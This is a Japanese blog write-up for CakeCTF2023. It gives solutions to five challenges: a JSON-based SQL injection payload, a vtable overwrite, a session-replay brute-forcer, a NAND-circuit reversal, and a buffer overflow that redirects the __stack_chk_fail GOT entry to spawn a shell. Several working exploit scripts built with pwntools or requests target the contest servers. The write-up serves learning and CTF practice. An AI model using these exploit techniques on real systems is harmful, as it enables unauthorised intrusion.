0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

More than 1 year has passed since last update.

CakeCTF2023のやつ

Last updated at Posted at 2023-11-12

CakeCTF2023

image.png
image.png

CakeCTF楽しかったです.チームtrimscashで参加して86位でした.
開催ありがとうございました.
解けそうで解けなかった問題が何問かあって悔しかったですが楽しかったです!

一部の簡単な問題しか解けてませんがwriteup書きます.

CountryDB [Web]

Do you know which country code 'CA' and 'KE' are for?
Search country codes here!

image.png

app.py
#!/usr/bin/env python3
import flask
import sqlite3

app = flask.Flask(__name__)

def db_search(code):
    with sqlite3.connect('database.db') as conn:
        cur = conn.cursor()
        cur.execute(f"SELECT name FROM country WHERE code=UPPER('{code}')")
        found = cur.fetchone()
    return None if found is None else found[0]

@app.route('/')
def index():
    return flask.render_template("index.html")

@app.route('/api/search', methods=['POST'])
def api_search():
    req = flask.request.get_json()
    if 'code' not in req:
        flask.abort(400, "Empty country code")

    code = req['code']
    if len(code) != 2 or "'" in code:
        flask.abort(400, "Invalid country code")

    name = db_search(code)
    if name is None:
        flask.abort(404, "No such country")

    return {'name': name}

if __name__ == '__main__':
    app.run(debug=True)

国のコードから国旗を教えてくれるアプリです.

def db_search(code):
    with sqlite3.connect('database.db') as conn:
        cur = conn.cursor()
        cur.execute(f"SELECT name FROM country WHERE code=UPPER('{code}')")
        found = cur.fetchone()
    return None if found is None else found[0]

codeにSQLInjectionのpayloadを入れられれば勝ちです.

@app.route('/api/search', methods=['POST'])
def api_search():
    req = flask.request.get_json()
    if 'code' not in req:
        flask.abort(400, "Empty country code")

    code = req['code'] ##### codeの型を制限していない.
    if len(code) != 2 or "'" in code:
        flask.abort(400, "Invalid country code")

    name = db_search(code)
    if name is None:
        flask.abort(404, "No such country")

    return {'name': name}

postで送られるjsonの"code"をcode変数に入れていますが,この"code"の型を制限していません.
なので以下のようなJSONでも処理してしまいます.

{
    "code": {"aa": 1, "bb": 2}
}

今codeは文字数2の文字列ではなく,要素数2の辞書型です.なので続く要素数の制限を突破し,db_searchに移ります.

ここで,以下のように辞書型が展開されたときpythonではどのようになるか確認してみましょう.

        cur.execute(f"SELECT name FROM country WHERE code=UPPER('{code}')")

image.png
このように展開するときに'を出力してくれます.なので対象のSQL文の'が閉じてjsonのkeyに入れた任意のSQLを動かすことができます.

最終的にpayloadは以下のようになりました.

{
    "code":{") union select flag from flag where 1=1 --":"","b":""}
}

image.png

送るとフラグがもらえました!

CakeCTF{b3_c4refUl_wh3n_y0U_u5e_JS0N_1nPut}

vtable4b [Pwn]

Do you understand what vtable is?
nc vtable4b.2023.cakectf.com 9000

サーバーの情報だけが渡されます.添付ファイルはありませんが実行すると丁寧にソースコードとwin関数のアドレスや,ヒープの状態を教えてくれます.
image.png
image.png

vtableについてはよくわかっていないのですが,仮想関数のポインタのテーブルがあって,そのテーブルへのポインタはメンバーと同じように保管されるようです(適当すぎるので注意
何がともあれ,messageに対してはいくらでも書き込めるのでvtableのアドレスは書き換えることができます.
またmessageの中でwin関数へのアドレスを書き込んでおけば関数のポインタを指すポインタを作ることができます.

vtableを書き換えた状態で関数を呼び出せば任意の関数を呼び出せます.

あとはソルバーを書くだけです.

solver.py
from pwn import *

io = remote("vtable4b.2023.cakectf.com", 9000)

io.recvuntil(b"  <win> = ")
win=p64(int(io.readline()[:-1],base=16)) # win関数のアドレス取得

print(win)

## ヒープ上に作るvtableへのアドレスの取得
io.sendline(b"3")
io.recvuntil(b"message (=")
io.readline()
io.readline()
heap=p64(int(io.readline()[:14],base=16))

## 上で取得したヒープのアドレスに合わせてwin関数のアドレスを書き込みvtableを上書きするpayload
payload=b"a"*8+win+b"b"*16+heap

## 送信
io.sendlineafter(b"3. Display heap", b"2")
io.sendline(payload)
# 関数の実行
io.sendlineafter(b"3. Display heap", b"1") 
io.interactive()
print(heap)

image.png

やったね

CakeCTF{vt4bl3_1s_ju5t_4n_arr4y_0f_funct1on_p0int3rs}

TOWFL [Web, Cheat]

Do you speak the language of wolves?
Prove your skill here!

狼語の実力テストのようです.
image.png

ソースコードを読むと100点を取れればフラグがもらえそうです.

@app.route("/api/score", methods=['GET'])
def api_score():
    if 'eid' not in flask.session:
        return {'status': 'error', 'reason': 'Exam has not started yet.'}

    # Calculate score
    challs = json.loads(db().get(flask.session['eid']))
    score = 0
    for chall in challs:
        for result in chall['results']:
            if result is True:
                score += 1

    # Is he/she worth giving the flag?
    if score == 100:
        flag = os.getenv("FLAG")
    else:
        flag = "Get perfect score for flag"

    # Prevent reply attack
    flask.session.clear()

    return {'status': 'ok', 'data': {'score': score, 'flag': flag}}

以下のapi_submitで問題に解答し上のapi_scoreで採点してくれます.

@app.route("/api/submit", methods=['POST'])
def api_submit():
    if 'eid' not in flask.session:
        return {'status': 'error', 'reason': 'Exam has not started yet.'}

    try:
        answers = flask.request.get_json()
    except:
        return {'status': 'error', 'reason': 'Invalid request.'}

    # Get answers
    eid = flask.session['eid']
    challs = json.loads(db().get(eid))
    if not isinstance(answers, list) \
       or len(answers) != len(challs):
        return {'status': 'error', 'reason': 'Invalid request.'}

    # Check answers
    for i in range(len(answers)):
        if not isinstance(answers[i], list) \
           or len(answers[i]) != len(challs[i]['answers']):
            return {'status': 'error', 'reason': 'Invalid request.'}

        for j in range(len(answers[i])):
            challs[i]['results'][j] = answers[i][j] == challs[i]['answers'][j]

    # Store information with results
    db().set(eid, json.dumps(challs))
    return {'status': 'ok'}

知り合いの狼に育てられた狼語が母国語の人に満点を取ってもらうのもいいですが
コードを読むと以下で得られるセッションの情報があれば何回でも回答しなおして採点してもらえるということがわかります.

お礼のお肉を用意せずに済みますね.

@app.route("/api/start", methods=['POST'])
def api_start():
    if 'eid' in flask.session:
        eid = flask.session['eid']
    else:
        eid = flask.session['eid'] = os.urandom(32).hex()

    # Create new challenge set
    db().set(eid, json.dumps([new_challenge() for _ in range(10)]))
    return {'status': 'ok'}

具体的には1問ずつすべての選択肢を試してスコアに変化があれば正解ということなのでこれを自動化するソルバーを書きます.

import requests
import time

url="http://towfl.2023.cakectf.com:8888/"
score_url="http://towfl.2023.cakectf.com:8888/api/score"
submit_url="http://towfl.2023.cakectf.com:8888/api/submit"
cookie={"session":".eJwFwYkNgDAIAMBdmICvPG5TgSbOYNzduxfmabigURbtSlo0hZWh1u3mOE4sPBKa1ISKHHoyY88pvae5trMFfD_joxPk.ZU89sA.se7UaZFqXEKDZ6i-GZR16XAQoI8"}


def flag():
    time.sleep(0.5)
    r=requests.get(score_url,cookies=cookie)
    return r.json()["data"]["flag"]

def score():
    time.sleep(0.5)
    r=requests.get(score_url,cookies=cookie)
    return r.json()["data"]["score"]

def submit(li):
    time.sleep(0.5)
    r=requests.post(submit_url,cookies=cookie,json=li)
    return r

def find_correct(i_index,j_index):
    ans=[[6]*10 for i in range(10)]
    for i in range(4):
        ans[i_index][j_index]=i
        submit(ans)
        s=score()
        if s==1:
            return i
    return -1

ans=[[6]*10 for i in range(10)]

for i in range(10):
    for j in range(10):
        ans[i][j]=find_correct(i,j)

print(ans)
print(submit(ans))
print(flag())

実行するとフラグがもらえました.
image.png

CakeCTF{b3_c4ut10us_1f_s3ss10n_1s_cl13nt_s1d3_0r_s3rv3r_s1d3}

nande [Rev]

What makes NAND gates popular?

nand.exeというバイナリが渡されるので解析をします.
ghidraで逆コンパイルすると以下の通り.

image.png

コマンドライン引数で受け取った文字列を1ビットごとに分解してInputSequenceという配列に入れ,その後CIRCUITという関数に渡してOutputSequenceに実行結果を入れているようです.その後AnswerSequenceと比較しています.

AnswerSequenceには以下のようにデータが入っており多分これはFlagCIRCUITに入れたものでしょう.なのでこのデータからFlagを求めることができれば勝ちです.
image.png

以下ghidraCopy Specialでコピーしたデータ.(便利

AnswerSequence
[ 0x01, 0x01, 0x01, 0x01, 0x01, 0x00, 0x00, 0x01, 0x01, 0x00, 0x00, 0x01, 0x00, 0x00, 0x01, 0x00, 0x00, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x01, 0x01, 0x01, 0x01, 0x01, 0x00, 0x00, 0x01, 0x01, 0x01, 0x01, 0x00, 0x01, 0x00, 0x01, 0x01, 0x01, 0x00, 0x00, 0x00, 0x01, 0x01, 0x00, 0x01, 0x01, 0x01, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x01, 0x00, 0x01, 0x00, 0x00, 0x01, 0x01, 0x00, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x01, 0x00, 0x00, 0x01, 0x00, 0x01, 0x01, 0x01, 0x00, 0x00, 0x01, 0x01, 0x01, 0x00, 0x00, 0x01, 0x01, 0x01, 0x00, 0x01, 0x00, 0x01, 0x01, 0x01, 0x01, 0x00, 0x01, 0x01, 0x00, 0x00, 0x00, 0x01, 0x01, 0x00, 0x00, 0x01, 0x01, 0x00, 0x01, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x01, 0x01, 0x01, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x01, 0x01, 0x01, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x01, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x01, 0x01, 0x00, 0x01, 0x01, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x01, 0x00, 0x01, 0x01, 0x00, 0x01, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x01, 0x01, 0x01, 0x01, 0x01, 0x00, 0x01, 0x01, 0x00, 0x01, 0x01, 0x01, 0x00, 0x00, 0x01, 0x00, 0x01, 0x01, 0x00, 0x01, 0x01, 0x00, 0x00, 0x01, 0x00, 0x00, 0x01, 0x01, 0x00, 0x00, 0x01, 0x01, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x01, 0x00 ]

さてCIRCUITを見ていきましょう.以下を見るとわかる通り,すべての要素(ビット)を隣の要素とMODULEに入れて(最終要素は0x01と一緒に入力)その結果を逐次param_2(OutputSequence)に入れ最終的にまたparam_1(InputSequence)に入れてというのを0x1234回繰り返しています.

image.png

ではMODULEを見てみましょう.

image.png

NANDは見たところ普通にNANDでした.でもよくわからないのでpythonかなんかで書き直します.

def nand(a,b):
    return not(a and b)

def module(a,b):
    o1=nand(a,b)
    o2=nand(a,o1)
    o3=nand(b,o1)
    o4=nand(o2,o3)
    return o4

適当に実験してみるとわかる通り,これはXORと同じですね.
image.png

a XOR b = c
c XOR b = a

なのでCIRCUITとは逆の手順を踏めばAnswerSequenceからFlagを求めることができます.

以下適当に書いたソルバー

solver.py
ans=[ 0x01, 0x01, 0x01, 0x01, 0x01, 0x00, 0x00, 0x01, 0x01, 0x00, 0x00, 0x01, 0x00, 0x00, 0x01, 0x00, 0x00, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x01, 0x01, 0x01, 0x01, 0x01, 0x00, 0x00, 0x01, 0x01, 0x01, 0x01, 0x00, 0x01, 0x00, 0x01, 0x01, 0x01, 0x00, 0x00, 0x00, 0x01, 0x01, 0x00, 0x01, 0x01, 0x01, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x01, 0x00, 0x01, 0x00, 0x00, 0x01, 0x01, 0x00, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x01, 0x00, 0x00, 0x01, 0x00, 0x01, 0x01, 0x01, 0x00, 0x00, 0x01, 0x01, 0x01, 0x00, 0x00, 0x01, 0x01, 0x01, 0x00, 0x01, 0x00, 0x01, 0x01, 0x01, 0x01, 0x00, 0x01, 0x01, 0x00, 0x00, 0x00, 0x01, 0x01, 0x00, 0x00, 0x01, 0x01, 0x00, 0x01, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x01, 0x01, 0x01, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x01, 0x01, 0x01, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x01, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x01, 0x01, 0x00, 0x01, 0x01, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x01, 0x00, 0x01, 0x01, 0x00, 0x01, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x01, 0x01, 0x01, 0x01, 0x01, 0x00, 0x01, 0x01, 0x00, 0x01, 0x01, 0x01, 0x00, 0x00, 0x01, 0x00, 0x01, 0x01, 0x00, 0x01, 0x01, 0x00, 0x00, 0x01, 0x00, 0x00, 0x01, 0x01, 0x00, 0x00, 0x01, 0x01, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x01, 0x00 ]

flag=[0 for i in range(0x100)]

def nand(a,b):
    return not(a and b)

def module(a,b): # xor
    o1=nand(a,b)
    o2=nand(a,o1)
    o3=nand(b,o1)
    o4=nand(o2,o3)
    return o4

def chr_list(a):
    l=[]
    t=ord(a)
    for i in reversed(f"{t:>08b}"):
        if i=="1":
            l.append(1)
        else:
            l.append(0)
    return l

def list_to_string(a):
    l=""
    for i in range(len(a)//8):
        t=0
        t|=a[7+i*8]
        for j in reversed(range(7)):
            t=t<<1
            t|=a[j+i*8]
        # print(t)
        l+=chr(t)
    return l

tes = chr_list("a")
print(tes)
print(list_to_string(tes))

for i in range(0x1234):
    t=1
    for j in reversed(range(0x100)):
        # print(j)
        t=ans[j]^t
        flag[j]=t
    ans=flag.copy()
    print(list_to_string(flag))
    print(list_to_string(ans))

実行するとフラグが求まります.
image.png

やったね

CakeCTF{h2fsCHAo3xOsBZefcWudTa4}

bofww [Pwn]

buffer overflow with win function
nc bofww.2023.cakectf.com 9002

ソースコードは以下の通り.

main.cpp
#include <iostream>

void win() {
  std::system("/bin/sh");
}

void input_person(int& age, std::string& name) {
  int _age;
  char _name[0x100];
  std::cout << "What is your first name? ";
  std::cin >> _name;
  std::cout << "How old are you? ";
  std::cin >> _age;
  name = _name;
  age = _age;
}

int main() {
  int age;
  std::string name;
  input_person(age, name);
  std::cout << "Information:" << std::endl
            << "Age: " << age << std::endl
            << "Name: " << name << std::endl;
  return 0;
}

__attribute__((constructor))
void setup(void) {
  std::setbuf(stdin, NULL);
  std::setbuf(stdout, NULL);
}

セキュリティ機構は以下の通り.
image.png

cppで書かれているPwnです.とりあえずstringの挙動がよくわからなかったので調べると,作問者の方が書かれたわかりやすい資料がありました.

次のような0x20バイトの構造になっています。

+00h: <データへのポインタ>
+08h: <データのサイズ>
+10h: <データ領域の容量>あるいは<データ本体+0h>
+18h: <未使用>あるいは<データ本体+8h>

stringの構造は以上のようになっているようです.

またどうやらstringは代入されるとデータへのポインタがさす領域に右辺の文字列がコピーされるということがわかります.(データの容量内の場合)(入りきらない場合領域を再確保する.

input_person内でバッファオーバーフローがあるのでそれを利用し,name (stirng)データへのポインタ__stack_chk_fail関数のgotのアドレスに上書きします.
その上書きしたデータへのポインタへは入力した文字列がコピーされるので,payloadの先頭にはwin関数のアドレスを入れておきます.すると__stack_chk_fail関数のgotにwin関数のアドレスが入り,__stack_chk_failが呼ばれたときにwin関数が呼ばれるようになります.


ここで__stack_chk_fail関数はスタック破壊が検知されたときに呼び出される関数です.
image.png

image.png
image.png

上のようにCanaryと呼ばれるデータを関数のが始まるときにスタックに入れて置きそれが関数の最後で書き換わっていないかどうか判別し書き換わっていたら__stack_chk_fail関数が呼ばれます.

canaryについては以下がわかりやすいです.

今回はinput_personからmainのスタックまでオーバーフローして書き換えているので絶対に呼ばれます.

gotに関しては以下がわかりやすいと思います.(説明がめんどくさい.


そんな感じでソルバーを書くと以下のようになりました.

solver.py
from pwn import *

# io = process("./bofww")
io = remote("bofww.2023.cakectf.com", 9002)

win=p64(0x4012f6)
target_got=p64(0x404050) # stack_chk_fail

stack_diff=0x130

payload=win+b"a"*(stack_diff-len(win))+target_got+p64(0x200)+p64(0x200)

io.sendlineafter(b"What is your first name?", payload)
io.sendlineafter(b"How old are you?", b"1")
io.interactive()

image.png

実行するとフラグがもらえました!
やったね!

CakeCTF{n0w_try_w1th0ut_w1n_func710n:)}

感想

改めて楽しかったです!
vtableとかcppのpwnはあまり知らなかったので新たな知見が得られて楽しかったです.
bofwwの続編のbofwowというのも解けそうだったのですが無理でした.
ほかにはcryptoのwarmupもとけなくて悲しかったですね..

とても楽しかったです.開催ありがとうございました!

稚拙な文ではありましたが読んでいただきありがとうございました.

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?